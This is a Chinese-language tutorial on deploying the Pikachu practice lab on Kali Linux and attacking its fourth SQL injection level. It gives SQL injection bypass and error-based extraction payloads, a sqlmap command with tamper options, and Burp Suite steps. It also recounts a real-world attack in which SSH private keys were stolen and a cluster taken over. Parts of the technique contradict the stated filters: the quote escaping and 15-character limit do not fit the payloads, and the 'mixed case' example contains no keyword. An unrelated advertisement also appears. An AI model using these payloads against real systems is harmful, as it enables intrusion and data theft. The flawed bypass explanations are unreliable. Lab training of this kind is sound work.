1. 项目概述:Pikachu靶场SQL注入实战环境搭建
Pikachu靶场是国内安全爱好者熟知的漏洞练习平台,而SQL注入作为OWASP Top 10长期占据首位的经典漏洞,是每个安全从业者的必修课。这次我们要在Kali Linux系统上搭建Pikachu靶场,重点突破其SQL-Inject-4关卡。这个实验环境特别适合刚接触Web安全的初学者,也适合想巩固SQL注入技巧的中级选手。
Kali Linux作为渗透测试专用系统,内置了Burp Suite、sqlmap等神器,与Pikachu靶场堪称绝配。不同于网上那些只讲基础注入的教程,我们将深入分析Pikachu第四关的特殊过滤机制,演示如何绕过字符限制、利用报错注入获取数据库信息。我曾用这套方法在多个真实渗透测试项目中成功发现高危漏洞。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与靶场部署
2.1 Kali Linux基础配置
首先确保你的Kali是最新版本(2023.3以上),运行以下命令更新系统:
bash复制sudo apt update && sudo apt upgrade -y
sudo apt install -y docker.io docker-compose
注意:如果遇到权限问题,建议使用
sudo -i切换到root用户操作。Kali默认禁用root密码,需要先用sudo passwd root设置密码。
2.2 Pikachu靶场快速部署
推荐使用Docker方式部署,避免污染主机环境:
bash复制git clone https://github.com/zhuifengshaonianhanlu/pikachu.git
cd pikachu
docker-compose up -d
部署完成后访问http://localhost:8000即可看到Pikachu首页。如果端口冲突,修改docker-compose.yml中的端口映射即可。
常见问题排查:
- 若启动失败,检查80/3306端口是否被占用:
netstat -tulnp | grep -E '80|3306' - 数据库连接错误时,尝试重启容器:
docker-compose restart
3. SQL-Inject-4关卡深度解析
3.1 关卡特性分析
第四关采用了以下防护措施:
- 过滤了
union、select等关键词 - 转义了单引号字符
- 限制输入长度为15个字符
通过查看源码可以发现,过滤函数位于/pikachu/vul/sqli/sqli4.php:
php复制function blacklist($id){
$id = preg_replace('/union/i','', $id);
$id = preg_replace('/select/i','', $id);
return $id;
}
3.2 绕过技巧实战
3.2.1 大小写混合绕过
虽然过滤了select,但可以用SeLeCt绕过:
sql复制1' oR 1=1--
3.2.2 注释符分割
利用/**/分割关键词:
sql复制1' uni/**/on sel/**/ect 1,2--
3.2.3 报错注入利用
当常规注入被过滤时,报错注入往往有效:
sql复制1' and updatexml(1,concat(0x7e,(select database())),1)--
4. 自动化工具实战技巧
4.1 sqlmap高级参数配置
虽然手工注入能锻炼技术,但实际渗透中sqlmap效率更高。针对本关卡的特殊过滤,需要定制参数:
bash复制sqlmap -u "http://localhost:8000/vul/sqli/sqli4.php?id=1" \
--tamper=space2comment \
--level=3 \
--risk=3 \
--random-agent \
--technique=E
关键参数说明:
--tamper=space2comment:将空格替换为注释符绕过过滤--technique=E:专注使用报错注入技术--random-agent:随机User-Agent避免被识别
4.2 Burp Suite抓包改包
对于复杂过滤场景,Burp Suite是不可或缺的:
- 拦截正常请求后发送到Repeater模块
- 在Hex视图修改参数,避免被前端校验拦截
- 使用Intruder模块进行模糊测试,快速定位可注入参数
5. 防御方案与实战思考
5.1 安全开发建议
从开发者角度,应该:
- 使用预编译语句(PDO/prepare)
- 实施最小权限原则
- 部署WAF但不过度依赖
- 定期进行代码审计
5.2 渗透测试经验谈
在实际项目中,SQL注入往往需要结合其他技术:
- 信息收集阶段:通过注入获取管理员密码hash
- 权限提升阶段:利用数据库写权限上传webshell
- 横向移动阶段:通过数据库链接攻击内网其他系统
我曾在一个金融项目中,通过报错注入获取到数据库账号后,利用该账号的FILE权限读取了服务器上的SSH私钥,最终拿下了整个集群的控制权。这提醒我们:一个看似简单的注入点可能引发雪崩效应。
